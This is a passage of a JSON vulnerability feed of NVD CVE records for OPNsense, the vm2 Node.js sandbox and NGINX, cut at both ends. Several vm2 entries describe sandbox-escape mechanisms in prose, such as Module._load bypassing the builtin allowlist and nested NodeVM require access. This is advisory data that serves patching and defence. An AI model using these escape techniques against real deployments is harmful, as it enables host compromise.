2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44193","cveId":"CVE-2026-44193","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T22:16:43.533Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"opnsense","product":"opnsense","stacks":["FreeBSD","opnsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44193","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44193","type":"primary","publishedAt":"2026-05-13T22:16:43.533Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45411","cveId":"CVE-2026-45411","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:19.427Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45411","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45411","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45411","type":"primary","publishedAt":"2026-05-13T18:16:19.427Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44009","cveId":"CVE-2026-44009","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2,  This vulnerability is fixed in 3.11.2.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.803Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44009","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44009","type":"primary","publishedAt":"2026-05-13T18:16:17.803Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44008","cveId":"CVE-2026-44008","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.667Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44008","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44008","type":"primary","publishedAt":"2026-05-13T18:16:17.667Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44007","cveId":"CVE-2026-44007","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.527Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44007","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44007","type":"primary","publishedAt":"2026-05-13T18:16:17.527Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44006","cveId":"CVE-2026-44006","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.387Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44006","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44006","type":"primary","publishedAt":"2026-05-13T18:16:17.387Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44005","cveId":"CVE-2026-44005","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.257Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44005","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44005","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44005","type":"primary","publishedAt":"2026-05-13T18:16:17.257Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43999","cveId":"CVE-2026-43999","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution. This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution. This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:16.450Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43999","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43999","type":"primary","publishedAt":"2026-05-13T18:16:16.450Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43997","cveId":"CVE-2026-43997","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:16.177Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43997","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43997","type":"primary","publishedAt":"2026-05-13T18:16:16.177Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42945","cveId":"CVE-2026-42945","aliases":[],"kind":"vulnerability","title":"NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module.","summary":"NGINX Plus and NGINX Open Source have a vulnerability in the 